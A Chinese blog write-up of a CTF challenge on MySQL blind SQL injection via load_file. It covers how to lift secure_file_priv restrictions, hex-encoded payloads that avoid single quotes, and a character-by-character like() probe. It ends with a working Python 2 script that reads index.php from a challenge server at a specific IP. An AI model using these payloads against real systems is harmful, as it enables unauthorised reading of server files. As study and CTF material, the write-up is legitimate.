load_file进行mysql盲注+mysql的一些tip
1、前言
今天看了一道安恒杯的ctf题,里面load_file盲注的思路看起来有点意思,该思路没有用单引号,使用到sql查询文件内容。
1.mysqld启动
1.在利用mysql进行sql注入的测试中,遇到一些mysql启动上的问题,可以在mysql的启动或控制台日志查看
输入命令
mysqld --console
2.其次是有时候不存在端口占用又无法启动mysqld的情况,需要进入services中将mysqla停掉,
做个记录,原因尚未探寻,如图,停掉箭头所指的mysqla
2、load_file开启
当前使用的是mysql5.7版本,需要进入my.ini中增加一行
默认开启所有目录尚未调试过,参考文章的链接如下
https://www.cnblogs.com/hackxf/p/8975501.html
针对其中提到一些重点进行记录,防止链接失效
secure_file_priv选项
secure_file_priv
1、限制mysqld 不允许导入 | 导出
--secure_file_prive=null
2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下
--secure_file_priv=/tmp/
3、不对mysqld 的导入 | 导出做限制
--secure_file_priv=
linux
cat /etc/my.cnf
[mysqld]
secure_file_priv=
win
my.ini
[mysqld]
secure_file_priv=
查看secure_file_priv
show global variables like '%secure%';
3、mysql的load_file盲注
1.思路
当我们遇到不能使用select的情况下,可以使用load_file读取文件查询文件内容,当然,这个使用的条件自然是很苛刻的,正常来说高版本的secure_file_priv不会开启。
1)读取文件demo
select load_file('c:\sql.txt');
2)利用hex编码就可以减少或者不使用单引号
select hex(load_file(0x633a5c73716c2e747874))
3)利用if+like进行文件内容探测
首先使用if表达式来进行回显判断,比如
if(exp,1,0)
exp指代前面的表达式
然后使用like进行字符判断,比如like 'a%'就可以判断以a字符开头的字符内容是否存在。
if(exp,1,0)like(0x*25)
*这里指任意值
那么我们只要使用like去判断是否存在某字符开头,存在则加上这一次的字符进行下一次判断,直到符合的字符串出现。这样循环后,就可以得到最终的文件内容。问题是
停止条件是什么?可以这样想,我们使用所有的可见字符去爆破一个字母,当可见字符用完后,依旧没有得到结果,说明不存在这样的字符串,此时可以将它当做条件结束。
demo:
字符串abcde
判断abcde中是否存在a开头的字符,存在则结束本次判断,不存在则利用下一个可见字符判断,直到用完为止
存在a开头字符串,那么接下来判断aa是否存在,判断条件同上。
结束条件为所有可见字符用完为止
2.实现exp
python2
#coding:utf-8
import requests
import string
payload=string.printable
payload=list(payload)
file =""
db = ""
while True:
n = 1
end = len(payload)
#print end
for i in payload:
req = requests.session()
header = {
"Cookie":"__guid=206886163.707362614897664800.1543048794439.3918;PHPSESSID=4e6p8mktq1b5p84jnndsvqv166"
}
exp= "if(hex(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870))like(0x{temp}25),1,2)"
url = "http://101.71.29.5:10015/user/user.php?id="+exp
i = i.encode("hex")
url = url.format(temp=db+i)
res = req.get(url=url,headers=header)
#print res.status_code
if "user_id:1" in res.text:
print url
db = db + i
file = file + i.decode("hex")
print file
break
n = n + 1
if n == end:
print db
exit(0)
来源https://www.shuzhiduo.com/A/KE5Qvje0dL/
参考:
https://www.shuzhiduo.com/A/KE5Qvje0dL/
https://www.cnblogs.com/hackxf/p/8975501.html